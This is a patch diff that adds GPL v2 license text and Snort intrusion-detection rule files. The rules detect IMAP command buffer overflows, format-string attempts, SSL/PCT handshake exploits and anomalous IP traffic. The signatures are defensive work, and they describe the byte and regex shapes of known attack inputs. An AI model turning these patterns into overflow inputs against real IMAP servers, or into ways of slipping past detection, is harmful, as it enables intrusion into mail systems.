+program proprietary.  To prevent this, we have made it clear that any
+patent must be licensed for everyone's free use or not licensed at all.
+
+  The precise terms and conditions for copying, distribution and
+modification follow.
+
+		    GNU GENERAL PUBLIC LICENSE
+   TERMS AND CONDITIONS FOR COPYING, DISTRIBUTION AND MODIFICATION
+
+  0. This License applies to any program or other work which contains
+a notice placed by the copyright holder saying it may be distributed
+under the terms of this General Public License.  The "Program", below,
+refers to any such program or work, and a "work based on the Program"
+means either the Program or any derivative work under copyright law:
+that is to say, a work containing the Program or a portion of it,
+either verbatim or with modifications and/or translated into another
+language.  (Hereinafter, translation is included without limitation in
+the term "modification".)  Each licensee is addressed as "you".
+
+Activities other than copying, distribution and modification are not
+covered by this License; they are outside its scope.  The act of
+running the Program is not restricted, and the output from the Program
+is covered only if its contents constitute a work based on the
+Program (independent of having been made by running the Program).
+Whether that is true depends on what the Program does.
+
+  1. You may copy and distribute verbatim copies of the Program's
+source code as you receive it, in any medium, provided that you
+conspicuously and appropriately publish on each copy an appropriate
+copyright notice and disclaimer of warranty; keep intact all the
+notices that refer to this License and to the absence of any warranty;
+and give any other recipients of the Program a copy of this License
+along with the Program.
+
+You may charge a fee for the physical act of transferring a copy, and
+you may at your option offer warranty protection in exchange for a fee.
+
+  2. You may modify your copy or copies of the Program or any portion
+of it, thus forming a work based on the Program, and copy and
+distribute such modifications or work under the terms of Section 1
+above, provided that you also meet all of these conditions:
+
+    a) You must cause the modified files to carry prominent notices
+    stating that you changed the files and the date of any change.
+
+    b) You must cause any work that you distribute or publish, that in
+    whole or in part contains or is derived from the Program or any
+    part thereof, to be licensed as a whole at no charge to all third
+    parties under the terms of this License.
+
+    c) If the modified program normally reads commands interactively
+    when run, you must cause it, when started running for such
+    interactive use in the most ordinary way, to print or display an
+    announcement including an appropriate copyright notice and a
+    notice that there is no warranty (or else, saying that you provide
+    a warranty) and that users may redistribute the program under
+    these conditions, and telling the user how to view a copy of this
+    License.  (Exception: if the Program itself is interactive but
+    does not normally print such an announcement, your work based on
+    the Program is not required to print an announcement.)
+
+These requirements apply to the modified work as a whole.  If
+identifiable sections of that work are not derived from the Program,
+and can be reasonably considered independent and separate works in
+themselves, then this License, and its terms, do not apply to those
+sections when you distribute them as separate works.  But when you
+distribute the same sections as part of a whole which is a work based
+on the Program, the distribution of the whole must be on the terms of
+this License, whose permissions for other licensees extend to the
+entire whole, and thus to each and every part regardless of who wrote it.
+
+Thus, it is not the intent of this section to claim rights or contest
+your rights to work written entirely by you; rather, the intent is to
+exercise the right to control the distribution of derivative or
+collective works based on the Program.
+
+In addition, mere aggregation of another work not based on the Program
+with the Program (or with a work based on the Program) on a volume of
+a storage or distribution medium does not bring the other work under
+the scope of this License.
+
+  3. You may copy and distribute the Program (or a work based on it,
+under Section 2) in object code or executable form under the terms of
+Sections 1 and 2 above provided that you also do one of the following:
+
+    a) Accompany it with the complete corresponding machine-readable
+    source code, which must be distributed under the terms of Sections
+    1 and 2 above on a medium customarily used for software interchange; or,
+
+    b) Accompany it with a written offer, valid for at least three
+    years, to give any third party, for a charge no more than your
+    cost of physically performing source distribution, a complete
+    machine-readable copy of the corresponding source code, to be
+    distributed under the terms of Sections 1 and 2 above on a medium
+    customarily used for software interchange; or,
+
+    c) Accompany it with the information you received as to the offer
+    to distribute corresponding source code.  (This alternative is
+    allowed only for noncommercial distribution and only if you
+    received the program in object code or executable form with such
+    an offer, in accord with Subsection b above.)
+
+The source code for a work means the preferred form of the work for
+making modifications to it.  For an executable work, complete source
+code means all the source code for all modules it contains, plus any
+associated interface definition files, plus the scripts used to
+control compilation and installation of the executable.  However, as a
+special exception, the source code distributed need not include
+anything that is normally distributed (in either source or binary
+form) with the major components (compiler, kernel, and so on) of the
+operating system on which the executable runs, unless that component
+itself accompanies the executable.
+
+If distribution of executable or object code is made by offering
+access to copy from a designated place, then offering equivalent
+access to copy the source code from the same place counts as
+distribution of the source code, even though third parties are not
+compelled to copy the source along with the object code.
+
+  4. You may not copy, modify, sublicense, or distribute the Program
+except as expressly provided under this License.  Any attempt
+otherwise to copy, modify, sublicense or distribute the Program is
+void, and will automatically terminate your rights under this License.
+However, parties who have received copies, or rights, from you under
+this License will not have their licenses terminated so long as such
+parties remain in full compliance.
+
+  5. You are not required to accept this License, since you have not
+signed it.  However, nothing else grants you permission to modify or
+distribute the Program or its derivative works.  These actions are
+prohibited by law if you do not accept this License.  Therefore, by
+modifying or distributing the Program (or any work based on the
+Program), you indicate your acceptance of this License to do so, and
+all its terms and conditions for copying, distributing or modifying
+the Program or works based on it.
+
+  6. Each time you redistribute the Program (or any work based on the
+Program), the recipient automatically receives a license from the
+original licensor to copy, distribute or modify the Program subject to
+these terms and conditions.  You may not impose any further
+restrictions on the recipients' exercise of the rights granted herein.
+You are not responsible for enforcing compliance by third parties to
+this License.
+
+  7. If, as a consequence of a court judgment or allegation of patent
+infringement or for any other reason (not limited to patent issues),
+conditions are imposed on you (whether by court order, agreement or
+otherwise) that contradict the conditions of this License, they do not
+excuse you from the conditions of this License.  If you cannot
+distribute so as to satisfy simultaneously your obligations under this
+License and any other pertinent obligations, then as a consequence you
+may not distribute the Program at all.  For example, if a patent
+license would not permit royalty-free redistribution of the Program by
+all those who receive copies directly or indirectly through you, then
+the only way you could satisfy both it and this License would be to
+refrain entirely from distribution of the Program.
+
+If any portion of this section is held invalid or unenforceable under
+any particular circumstance, the balance of the section is intended to
+apply and the section as a whole is intended to apply in other
+circumstances.
+
+It is not the purpose of this section to induce you to infringe any
+patents or other property right claims or to contest validity of any
+such claims; this section has the sole purpose of protecting the
+integrity of the free software distribution system, which is
+implemented by public license practices.  Many people have made
+generous contributions to the wide range of software distributed
+through that system in reliance on consistent application of that
+system; it is up to the author/donor to decide if he or she is willing
+to distribute software through any other system and a licensee cannot
+impose that choice.
+
+This section is intended to make thoroughly clear what is believed to
+be a consequence of the rest of this License.
+
+  8. If the distribution and/or use of the Program is restricted in
+certain countries either by patents or by copyrighted interfaces, the
+original copyright holder who places the Program under this License
+may add an explicit geographical distribution limitation excluding
+those countries, so that distribution is permitted only in or among
+countries not thus excluded.  In such case, this License incorporates
+the limitation as if written in the body of this License.
+
+  9. The Free Software Foundation may publish revised and/or new versions
+of the General Public License from time to time.  Such new versions will
+be similar in spirit to the present version, but may differ in detail to
+address new problems or concerns.
+
+Each version is given a distinguishing version number.  If the Program
+specifies a version number of this License which applies to it and "any
+later version", you have the option of following the terms and conditions
+either of that version or of any later version published by the Free
+Software Foundation.  If the Program does not specify a version number of
+this License, you may choose any version ever published by the Free Software
+Foundation.
+
+  10. If you wish to incorporate parts of the Program into other free
+programs whose distribution conditions are different, write to the author
+to ask for permission.  For software which is copyrighted by the Free
+Software Foundation, write to the Free Software Foundation; we sometimes
+make exceptions for this.  Our decision will be guided by the two goals
+of preserving the free status of all derivatives of our free software and
+of promoting the sharing and reuse of software generally.
+
+			    NO WARRANTY
+
+  11. BECAUSE THE PROGRAM IS LICENSED FREE OF CHARGE, THERE IS NO WARRANTY
+FOR THE PROGRAM, TO THE EXTENT PERMITTED BY APPLICABLE LAW.  EXCEPT WHEN
+OTHERWISE STATED IN WRITING THE COPYRIGHT HOLDERS AND/OR OTHER PARTIES
+PROVIDE THE PROGRAM "AS IS" WITHOUT WARRANTY OF ANY KIND, EITHER EXPRESSED
+OR IMPLIED, INCLUDING, BUT NOT LIMITED TO, THE IMPLIED WARRANTIES OF
+MERCHANTABILITY AND FITNESS FOR A PARTICULAR PURPOSE.  THE ENTIRE RISK AS
+TO THE QUALITY AND PERFORMANCE OF THE PROGRAM IS WITH YOU.  SHOULD THE
+PROGRAM PROVE DEFECTIVE, YOU ASSUME THE COST OF ALL NECESSARY SERVICING,
+REPAIR OR CORRECTION.
+
+  12. IN NO EVENT UNLESS REQUIRED BY APPLICABLE LAW OR AGREED TO IN WRITING
+WILL ANY COPYRIGHT HOLDER, OR ANY OTHER PARTY WHO MAY MODIFY AND/OR
+REDISTRIBUTE THE PROGRAM AS PERMITTED ABOVE, BE LIABLE TO YOU FOR DAMAGES,
+INCLUDING ANY GENERAL, SPECIAL, INCIDENTAL OR CONSEQUENTIAL DAMAGES ARISING
+OUT OF THE USE OR INABILITY TO USE THE PROGRAM (INCLUDING BUT NOT LIMITED
+TO LOSS OF DATA OR DATA BEING RENDERED INACCURATE OR LOSSES SUSTAINED BY
+YOU OR THIRD PARTIES OR A FAILURE OF THE PROGRAM TO OPERATE WITH ANY OTHER
+PROGRAMS), EVEN IF SUCH HOLDER OR OTHER PARTY HAS BEEN ADVISED OF THE
+POSSIBILITY OF SUCH DAMAGES.
+
+		     END OF TERMS AND CONDITIONS
+
+	    How to Apply These Terms to Your New Programs
+
+  If you develop a new program, and you want it to be of the greatest
+possible use to the public, the best way to achieve this is to make it
+free software which everyone can redistribute and change under these terms.
+
+  To do so, attach the following notices to the program.  It is safest
+to attach them to the start of each source file to most effectively
+convey the exclusion of warranty; and each file should have at least
+the "copyright" line and a pointer to where the full notice is found.
+
+    <one line to give the program's name and a brief idea of what it does.>
+    Copyright (C) 19yy  <name of author>
+
+    This program is free software; you can redistribute it and/or modify
+    it under the terms of the GNU General Public License as published by
+    the Free Software Foundation; either version 2 of the License, or
+    (at your option) any later version.
+
+    This program is distributed in the hope that it will be useful,
+    but WITHOUT ANY WARRANTY; without even the implied warranty of
+    MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE.  See the
+    GNU General Public License for more details.
+
+    You should have received a copy of the GNU General Public License
+    along with this program; if not, write to the Free Software
+    Foundation, Inc., 59 Temple Place, Suite 330, Boston, MA  02111-1307  USA
+
+
+Also add information on how to contact you by electronic and paper mail.
+
+If the program is interactive, make it output a short notice like this
+when it starts in an interactive mode:
+
+    Gnomovision version 69, Copyright (C) 19yy name of author
+    Gnomovision comes with ABSOLUTELY NO WARRANTY; for details type `show w'.
+    This is free software, and you are welcome to redistribute it
+    under certain conditions; type `show c' for details.
+
+The hypothetical commands `show w' and `show c' should show the appropriate
+parts of the General Public License.  Of course, the commands you use may
+be called something other than `show w' and `show c'; they could even be
+mouse-clicks or menu items--whatever suits your program.
+
+You should also get your employer (if you work as a programmer) or your
+school, if any, to sign a "copyright disclaimer" for the program, if
+necessary.  Here is a sample; alter the names:
+
+  Yoyodyne, Inc., hereby disclaims all copyright interest in the program
+  `Gnomovision' (which makes passes at compilers) written by James Hacker.
+
+  <signature of Ty Coon>, 1 April 1989
+  Ty Coon, President of Vice
+
+This General Public License does not permit incorporating your program into
+proprietary programs.  If your program is a subroutine library, you may
+consider it more useful to permit linking proprietary applications with the
+library.  If this is what you want to do, use the GNU Library General
+Public License instead of this License.
--- snort-2.8.5.2.orig/rules/imap.rules
+++ snort-2.8.5.2/rules/imap.rules
@@ -0,0 +1,73 @@
+# Copyright 2001-2005 Sourcefire, Inc. All Rights Reserved
+#
+# This file may contain proprietary rules that were created, tested and
+# certified by Sourcefire, Inc. (the "VRT Certified Rules") as well as
+# rules that were created by Sourcefire and other third parties and
+# distributed under the GNU General Public License (the "GPL Rules").  The
+# VRT Certified Rules contained in this file are the property of
+# Sourcefire, Inc. Copyright 2005 Sourcefire, Inc. All Rights Reserved.
+# The GPL Rules created by Sourcefire, Inc. are the property of
+# Sourcefire, Inc. Copyright 2002-2005 Sourcefire, Inc. All Rights
+# Reserved.  All other GPL Rules are owned and copyrighted by their
+# respective owners (please see www.snort.org/contributors for a list of
+# owners and their respective copyrights).  In order to determine what
+# rules are VRT Certified Rules or GPL Rules, please refer to the VRT
+# Certified Rules License Agreement.
+#
+#
+# $Id: imap.rules,v 1.24.2.7.2.5 2005/06/15 23:02:33 mwatchinski Exp $
+#--------------
+# IMAP RULES
+#--------------
+
+alert tcp $EXTERNAL_NET any -> $HOME_NET 143 (msg:"IMAP login literal buffer overflow attempt"; flow:established,to_server; content:"LOGIN"; nocase; pcre:"/\sLOGIN\s[^\n]*?\s\{/smi"; byte_test:5,>,256,0,string,dec,relative; reference:bugtraq,6298; classtype:misc-attack; sid:1993; rev:4;)
+alert tcp $EXTERNAL_NET any -> $HOME_NET 143 (msg:"IMAP login buffer overflow attempt"; flow:established,to_server; content:"LOGIN"; isdataat:100,relative; pcre:"/\sLOGIN\s[^\n]{100}/smi"; reference:bugtraq,13727; reference:bugtraq,502; reference:cve,1999-0005; reference:cve,1999-1557; reference:cve,2005-1255; reference:nessus,10123; reference:nessus,10125; classtype:attempted-user; sid:1842; rev:14;)
+alert tcp $EXTERNAL_NET any -> $HOME_NET 143 (msg:"IMAP authenticate literal overflow attempt"; flow:established,to_server; content:"AUTHENTICATE"; nocase; pcre:"/\sAUTHENTICATE\s[^\n]*?\{/smi"; byte_test:5,>,256,0,string,dec,relative; reference:cve,1999-0042; reference:nessus,10292; classtype:misc-attack; sid:2105; rev:5;)
+alert tcp $EXTERNAL_NET any -> $HOME_NET 143 (msg:"IMAP authenticate overflow attempt"; flow:established,to_server; content:"AUTHENTICATE"; nocase; isdataat:100,relative; pcre:"/\sAUTHENTICATE\s[^\n]{100}/smi"; reference:bugtraq,12995; reference:bugtraq,130; reference:cve,1999-0005; reference:cve,1999-0042; reference:nessus,10292; classtype:misc-attack; sid:1844; rev:11;)
+
+# auth is an imap2 function and only accepts literal usage
+alert tcp $EXTERNAL_NET any -> $HOME_NET 143 (msg:"IMAP auth literal overflow attempt"; flow:established,to_server; content:"AUTH"; nocase; pcre:"/({(?=\d+}[^\n]*?\sAUTH)|AUTH\s[^\n]*?{(?=\d+}))/smi"; byte_test:5,>,256,0,string,dec,relative; reference:cve,1999-0005; classtype:misc-attack; sid:1930; rev:5;)
+alert tcp $EXTERNAL_NET any -> $HOME_NET 143 (msg:"IMAP auth overflow attempt"; flow:established,to_server; content:"AUTH"; nocase; pcre:"/AUTH\s[^\n]{100}/smi"; reference:bugtraq,8861; classtype:misc-attack; sid:2330; rev:1;)
+alert tcp $EXTERNAL_NET any -> $HOME_NET 143 (msg:"IMAP lsub literal overflow attempt"; flow:to_server,established; content:"LSUB"; nocase; pcre:"/\sLSUB\s[^\n]*?\s\{/smi"; byte_test:5,>,256,0,string,dec,relative; reference:bugtraq,1110; reference:cve,2000-0284; reference:nessus,10374; classtype:misc-attack; sid:1902; rev:9;)
+alert tcp $EXTERNAL_NET any -> $HOME_NET 143 (msg:"IMAP lsub overflow attempt"; flow:to_server,established; content:"LSUB"; isdataat:100,relative; pcre:"/\sLSUB\s[^\n]{100}/smi"; reference:bugtraq,1110; reference:cve,2000-0284; reference:nessus,10374; classtype:misc-attack; sid:2106; rev:7;)
+
+alert tcp $EXTERNAL_NET any -> $HOME_NET 143 (msg:"IMAP list literal overflow attempt"; flow:established,to_server; content:"LIST"; nocase; pcre:"/\sLIST\s[^\n]*?\s\{/smi"; byte_test:5,>,256,0,string,dec,relative; reference:bugtraq,1110; reference:cve,2000-0284; reference:nessus,10374; classtype:misc-attack; sid:1845; rev:15;)
+alert tcp $EXTERNAL_NET any -> $HOME_NET 143 (msg:"IMAP list overflow attempt"; flow:established,to_server; content:"LIST"; nocase; isdataat:100,relative; pcre:"/\sLIST\s[^\n]{100}/smi"; reference:bugtraq,1110; reference:cve,2000-0284; reference:nessus,10374; classtype:misc-attack; sid:2118; rev:6;)
+
+alert tcp $EXTERNAL_NET any -> $HOME_NET 143 (msg:"IMAP rename literal overflow attempt"; flow:established,to_server; content:"RENAME"; nocase; pcre:"/\sRENAME\s[^\n]*?\s\{/smi"; byte_test:5,>,256,0,string,dec,relative; reference:bugtraq,1110; reference:cve,2000-0284; reference:nessus,10374; classtype:misc-attack; sid:2119; rev:5;)
+alert tcp $EXTERNAL_NET any -> $HOME_NET 143 (msg:"IMAP rename overflow attempt"; flow:established,to_server; content:"RENAME"; nocase; isdataat:100,relative; pcre:"/\sRENAME\s[^\n]{100}/smi"; reference:bugtraq,1110; reference:cve,2000-0284; reference:nessus,10374; classtype:misc-attack; sid:1903; rev:8;)
+
+# FIND does not accept a literal command
+alert tcp $EXTERNAL_NET any -> $HOME_NET 143 (msg:"IMAP find overflow attempt"; flow:established,to_server; content:"FIND"; nocase; isdataat:100,relative; pcre:"/\sFIND\s[^\n]{100}/smi"; reference:bugtraq,1110; reference:cve,2000-0284; reference:nessus,10374; classtype:misc-attack; sid:1904; rev:7;)
+
+alert tcp $EXTERNAL_NET any -> $HOME_NET 143 (msg:"IMAP partial body buffer overflow attempt"; flow:to_server,established; content:"PARTIAL"; nocase; content:"BODY["; distance:0; nocase; pcre:"/\sPARTIAL.*BODY\[[^\]]{1024}/smi"; reference:bugtraq,4713; reference:cve,2002-0379; classtype:misc-attack; sid:1755; rev:14;)
+alert tcp $EXTERNAL_NET any -> $HOME_NET 143 (msg:"IMAP partial body.peek buffer overflow attempt"; flow:to_server,established; content:"PARTIAL"; nocase; content:"BODY.PEEK["; distance:0; nocase; pcre:"/\sPARTIAL.*BODY\.PEEK\[[^\]]{1024}/smi"; reference:bugtraq,4713; reference:cve,2002-0379; classtype:misc-attack; sid:2046; rev:6;)
+
+alert tcp $EXTERNAL_NET any -> $HOME_NET 143 (msg:"IMAP create buffer overflow attempt"; flow:to_server,established; content:"CREATE"; isdataat:1024,relative; pcre:"/\sCREATE\s[^\n]{1024}/smi"; reference:bugtraq,7446; classtype:misc-attack; sid:2107; rev:3;)
+alert tcp $EXTERNAL_NET any -> $HOME_NET 143 (msg:"IMAP create literal buffer overflow attempt"; flow:to_server,established; content:"CREATE"; nocase; pcre:"/\sCREATE\s*\{/smi"; byte_test:5,>,256,0,string,dec,relative; reference:bugtraq,7446; classtype:misc-attack; sid:2120; rev:3;)
+# alert tcp $EXTERNAL_NET any -> $HOME_NET 143 (msg:"IMAP login brute force attempt"; flow:to_server,established; content:"LOGIN"; nocase; threshold:type threshold, track by_dst, count 30, seconds 30; classtype:suspicious-login; sid:2273; rev:2;)
+
+alert tcp $EXTERNAL_NET any -> $HOME_NET 993 (msg:"IMAP SSLv3 invalid data version attempt"; flow:to_server,established; flowbits:isnotset,sslv2.client_hello.request; flowbits:isnotset,sslv3.client_hello.request; flowbits:isnotset,tlsv1.client_hello.request; content:"|16 03|"; depth:2; content:"|01|"; depth:1; offset:5; content:!"|03|"; depth:1; offset:9; reference:bugtraq,10115; reference:cve,2004-0120; reference:nessus,12204; reference:url,www.microsoft.com/technet/security/bulletin/MS04-011.mspx; classtype:attempted-dos; sid:2497; rev:9;)
+
+alert tcp $EXTERNAL_NET any -> $HOME_NET 993 (msg:"IMAP PCT Client_Hello overflow attempt"; flow:to_server,established; flowbits:isnotset,sslv2.server_hello.request; flowbits:isnotset,sslv3.server_hello.request; flowbits:isnotset,tlsv1.server_hello.request; content:"|01|"; depth:1; offset:2; byte_test:2,>,0,5; byte_test:2,!,0,7; byte_test:2,!,16,7; byte_test:2,>,20,9; content:"|8F|"; depth:1; offset:11; byte_test:2,>,32768,0,relative; reference:bugtraq,10116; reference:cve,2003-0719; reference:url,www.microsoft.com/technet/security/bulletin/MS04-011.mspx; classtype:attempted-admin; sid:2517; rev:13;)
+
+alert tcp $EXTERNAL_NET any -> $HOME_NET 993 (msg:"IMAP SSLv3 Client_Hello request"; flow:to_server,established; flowbits:isnotset,sslv2.client_hello.request; flowbits:isnotset,sslv3.client_hello.request; flowbits:isnotset,tlsv1.client_hello.request; content:"|16 03 00|"; depth:3; content:"|01|"; depth:1; offset:5; flowbits:set,sslv3.client_hello.request; flowbits:noalert; classtype:protocol-command-decode; sid:2529; rev:6;)
+alert tcp $HOME_NET 993 -> $EXTERNAL_NET any (msg:"IMAP SSLv3 Server_Hello request"; flow:to_client,established; flowbits:isset,sslv3.client_hello.request; content:"|16 03 00|"; depth:3; content:"|02|"; depth:1; offset:5; flowbits:set,sslv3.server_hello.request; flowbits:noalert; classtype:protocol-command-decode; sid:2530; rev:6;)
+alert tcp $EXTERNAL_NET any -> $HOME_NET 993 (msg:"IMAP SSLv3 invalid Client_Hello attempt"; flow:to_server,established; flowbits:isset,sslv3.server_hello.request; content:"|16 03|"; depth:2; content:"|01|"; depth:1; offset:5; reference:cve,2004-0120; reference:nessus,12204; reference:url,www.microsoft.com/technet/security/bulletin/MS04-011.mspx; classtype:attempted-dos; sid:2531; rev:6;)
+alert tcp $EXTERNAL_NET any -> $HOME_NET 143 (msg:"IMAP login literal format string attempt"; flow:established,to_server; content:"LOGIN"; nocase; pcre:"/\sLOGIN\s\w+\s\{\d+\}[\r]?\n[^\n]*?%/smi"; reference:bugtraq,10976; classtype:attempted-admin; sid:2665; rev:2;)
+alert tcp $EXTERNAL_NET any -> $HOME_NET 143 (msg:"IMAP login format string attempt"; flow:established,to_server; content:"LOGIN"; nocase; pcre:"/\sLOGIN\s[^\n]*?%/smi"; reference:bugtraq,10976; classtype:attempted-admin; sid:2664; rev:2;)
+alert tcp $EXTERNAL_NET any -> $HOME_NET 143 (msg:"IMAP delete overflow attempt"; flow:established,to_server; content:"DELETE"; nocase; isdataat:100,relative; pcre:"/\sDELETE\s[^\n]{100}/smi"; reference:bugtraq,11675; classtype:misc-attack; sid:3007; rev:1;)
+alert tcp $EXTERNAL_NET any -> $HOME_NET 143 (msg:"IMAP delete literal overflow attempt"; flow:established,to_server; content:"DELETE"; nocase; pcre:"/\sDELETE\s[^\n]*?\{/smi"; byte_test:5,>,100,0,string,dec,relative; reference:bugtraq,11675; classtype:misc-attack; sid:3008; rev:1;)
+alert tcp $EXTERNAL_NET any -> $HOME_NET 143 (msg:"IMAP subscribe overflow attempt"; flow:established,to_server; content:"SUBSCRIBE"; nocase; isdataat:100,relative; pcre:"/\sSUBSCRIBE\s[^\n]{100}/smi"; reference:bugtraq,11775; classtype:misc-attack; sid:3074; rev:1;)
+alert tcp $EXTERNAL_NET any -> $HOME_NET 143 (msg:"IMAP unsubscribe overflow attempt"; flow:established,to_server; content:"UNSUBSCRIBE"; nocase; isdataat:100,relative; pcre:"/\sUNSUBSCRIBE\s[^\n]{100}/smi"; reference:bugtraq,11775; classtype:misc-attack; sid:3076; rev:1;)
+alert tcp $EXTERNAL_NET any -> $HOME_NET 143 (msg:"IMAP unsubscribe literal overflow attempt"; flow:established,to_server; content:"UNSUBSCRIBE"; nocase; pcre:"/\sUNSUBSCRIBE\s[^\n]*?\s\{/smi"; byte_test:5,>,256,0,string,dec,relative; reference:bugtraq,11775; classtype:misc-attack; sid:3075; rev:1;)
+alert tcp $EXTERNAL_NET any -> $HOME_NET 143 (msg:"IMAP append overflow attempt"; flow:established,to_server; content:"APPEND"; nocase; isdataat:100,relative; pcre:"/\sAPPEND\s[^\n]{256}/smi"; reference:bugtraq,11775; classtype:misc-attack; sid:3066; rev:2;)
+alert tcp $EXTERNAL_NET any -> $HOME_NET 143 (msg:"IMAP copy literal overflow attempt"; flow:established,to_server; content:"COPY"; nocase; pcre:"/\sCOPY\s[^\n]*?\{/smi"; byte_test:5,>,1024,0,string,dec,relative; reference:bugtraq,1110; classtype:misc-attack; sid:3058; rev:1;)
+# alert tcp $EXTERNAL_NET any -> $HOME_NET 143 (msg:"IMAP append literal overflow attempt"; flow:established,to_server; content:"APPEND"; nocase; pcre:"/\sAPPEND\s[^\n]*?\s\{/smi"; byte_test:5,>,256,0,string,dec,relative; reference:bugtraq,11775; classtype:misc-attack; sid:3065; rev:2;)
+alert tcp $EXTERNAL_NET any -> $HOME_NET 143 (msg:"IMAP status overflow attempt"; flow:established,to_server; content:"STATUS"; nocase; isdataat:100,relative; pcre:"/\sSTATUS\s[^\n]{100}/smi"; reference:bugtraq,11775; reference:bugtraq,13727; reference:cve,2005-1256; classtype:misc-attack; sid:3072; rev:2;)
+alert tcp $EXTERNAL_NET any -> $HOME_NET 143 (msg:"IMAP fetch overflow attempt"; flow:established,to_server; content:"FETCH"; nocase; isdataat:256,relative; pcre:"/\sFETCH\s[^\n]{256}/smi"; reference:bugtraq,11775; classtype:misc-attack; sid:3070; rev:2;)
+alert tcp $EXTERNAL_NET any -> $HOME_NET 143 (msg:"IMAP examine literal overflow attempt"; flow:established,to_server; content:"EXAMINE"; nocase; pcre:"/\sEXAMINE\s[^\n]*?\s\{/smi"; byte_test:5,>,256,0,string,dec,relative; reference:bugtraq,11775; classtype:misc-attack; sid:3067; rev:1;)
+alert tcp $EXTERNAL_NET any -> $HOME_NET 143 (msg:"IMAP fetch literal overflow attempt"; flow:established,to_server; content:"FETCH"; nocase; pcre:"/\sFETCH\s[^\n]*?\s\{/smi"; byte_test:5,>,256,0,string,dec,relative; reference:bugtraq,11775; classtype:misc-attack; sid:3069; rev:1;)
+alert tcp $EXTERNAL_NET any -> $HOME_NET 143 (msg:"IMAP subscribe literal overflow attempt"; flow:established,to_server; content:"SUBSCRIBE"; nocase; pcre:"/\sSUBSCRIBE\s[^\n]*?\s\{/smi"; byte_test:5,>,256,0,string,dec,relative; reference:bugtraq,11775; classtype:misc-attack; sid:3073; rev:1;)
+alert tcp $EXTERNAL_NET any -> $HOME_NET 143 (msg:"IMAP status literal overflow attempt"; flow:established,to_server; content:"STATUS"; nocase; pcre:"/\sSTATUS\s[^\n]*?\s\{/smi"; byte_test:5,>,256,0,string,dec,relative; reference:bugtraq,11775; classtype:misc-attack; sid:3071; rev:1;)
+alert tcp $EXTERNAL_NET any -> $HOME_NET 143 (msg:"IMAP examine overflow attempt"; flow:established,to_server; content:"EXAMINE"; nocase; isdataat:100,relative; pcre:"/\sEXAMINE\s[^\n]{100}/smi"; reference:bugtraq,11775; classtype:misc-attack; sid:3068; rev:1;)
--- snort-2.8.5.2.orig/rules/sid
+++ snort-2.8.5.2/rules/sid
@@ -0,0 +1 @@
+3827
--- snort-2.8.5.2.orig/rules/bad-traffic.rules
+++ snort-2.8.5.2/rules/bad-traffic.rules
@@ -0,0 +1,41 @@
+# Copyright 2001-2005 Sourcefire, Inc. All Rights Reserved
+#
+# This file may contain proprietary rules that were created, tested and
+# certified by Sourcefire, Inc. (the "VRT Certified Rules") as well as
+# rules that were created by Sourcefire and other third parties and
+# distributed under the GNU General Public License (the "GPL Rules").  The
+# VRT Certified Rules contained in this file are the property of
+# Sourcefire, Inc. Copyright 2005 Sourcefire, Inc. All Rights Reserved.
+# The GPL Rules created by Sourcefire, Inc. are the property of
+# Sourcefire, Inc. Copyright 2002-2005 Sourcefire, Inc. All Rights
+# Reserved.  All other GPL Rules are owned and copyrighted by their
+# respective owners (please see www.snort.org/contributors for a list of
+# owners and their respective copyrights).  In order to determine what
+# rules are VRT Certified Rules or GPL Rules, please refer to the VRT
+# Certified Rules License Agreement.
+#
+#
+# $Id: bad-traffic.rules,v 1.31.2.3.2.1 2005/05/16 22:17:51 mwatchinski Exp $
+#------------------
+# BAD TRAFFIC RULES
+#------------------
+# These signatures are representitive of traffic that should never be seen on
+# any network.  None of these signatures include datagram content checking
+# and are extremely quick signatures
+#
+
+alert tcp $EXTERNAL_NET any <> $HOME_NET 0 (msg:"BAD-TRAFFIC tcp port 0 traffic"; flow:stateless; classtype:misc-activity; sid:524; rev:8;)
+alert udp $EXTERNAL_NET any <> $HOME_NET 0 (msg:"BAD-TRAFFIC udp port 0 traffic"; reference:bugtraq,576; reference:cve,1999-0675; reference:nessus,10074; classtype:misc-activity; sid:525; rev:9;)
+# alert tcp $EXTERNAL_NET any -> $HOME_NET any (msg:"BAD-TRAFFIC data in TCP SYN packet"; flow:stateless; dsize:>6; flags:S,12; reference:url,www.cert.org/incident_notes/IN-99-07.html; classtype:misc-activity; sid:526; rev:11;)
+alert ip any any <> 127.0.0.0/8 any (msg:"BAD-TRAFFIC loopback traffic"; reference:url,rr.sans.org/firewall/egress.php; classtype:bad-unknown; sid:528; rev:5;)
+alert ip any any -> any any (msg:"BAD-TRAFFIC same SRC/DST"; sameip; reference:bugtraq,2666; reference:cve,1999-0016; reference:url,www.cert.org/advisories/CA-1997-28.html; classtype:bad-unknown; sid:527; rev:8;)
+alert ip $EXTERNAL_NET any -> $HOME_NET any (msg:"BAD-TRAFFIC ip reserved bit set"; fragbits:R; classtype:misc-activity; sid:523; rev:5;)
+alert ip $EXTERNAL_NET any -> $HOME_NET any (msg:"BAD-TRAFFIC 0 ttl"; ttl:0; reference:url,support.microsoft.com/default.aspx?scid=kb\;EN-US\;q138268; reference:url,www.isi.edu/in-notes/rfc1122.txt; classtype:misc-activity; sid:1321; rev:8;)
+# linux happens.  Blah
+# alert ip $EXTERNAL_NET any -> $HOME_NET any (msg:"BAD-TRAFFIC bad frag bits"; fragbits:MD; classtype:misc-activity; sid:1322; rev:7;)
+alert ip $EXTERNAL_NET any -> $HOME_NET any (msg:"BAD-TRAFFIC Unassigned/Reserved IP protocol"; ip_proto:>134; reference:url,www.iana.org/assignments/protocol-numbers; classtype:non-standard-protocol; sid:1627; rev:3;)
+alert tcp any any -> [232.0.0.0/8,233.0.0.0/8,239.0.0.0/8] any (msg:"BAD-TRAFFIC syn to multicast address"; flow:stateless; flags:S+; classtype:bad-unknown; sid:1431; rev:9;)
+alert ip any any -> any any (msg:"BAD-TRAFFIC IP Proto 53 SWIPE"; ip_proto:53; reference:bugtraq,8211; reference:cve,2003-0567; classtype:non-standard-protocol; sid:2186; rev:3;)
+alert ip any any -> any any (msg:"BAD-TRAFFIC IP Proto 55 IP Mobility"; ip_proto:55; reference:bugtraq,8211; reference:cve,2003-0567; classtype:non-standard-protocol; sid:2187; rev:3;)
+alert ip any any -> any any (msg:"BAD-TRAFFIC IP Proto 77 Sun ND"; ip_proto:77; reference:bugtraq,8211; reference:cve,2003-0567; classtype:non-standard-protocol; sid:2188; rev:3;)
+alert ip any any -> any any (msg:"BAD-TRAFFIC IP Proto 103 PIM"; ip_proto:103; reference:bugtraq,8211; reference:cve,2003-0567; classtype:non-standard-protocol; sid:2189; rev:3;)
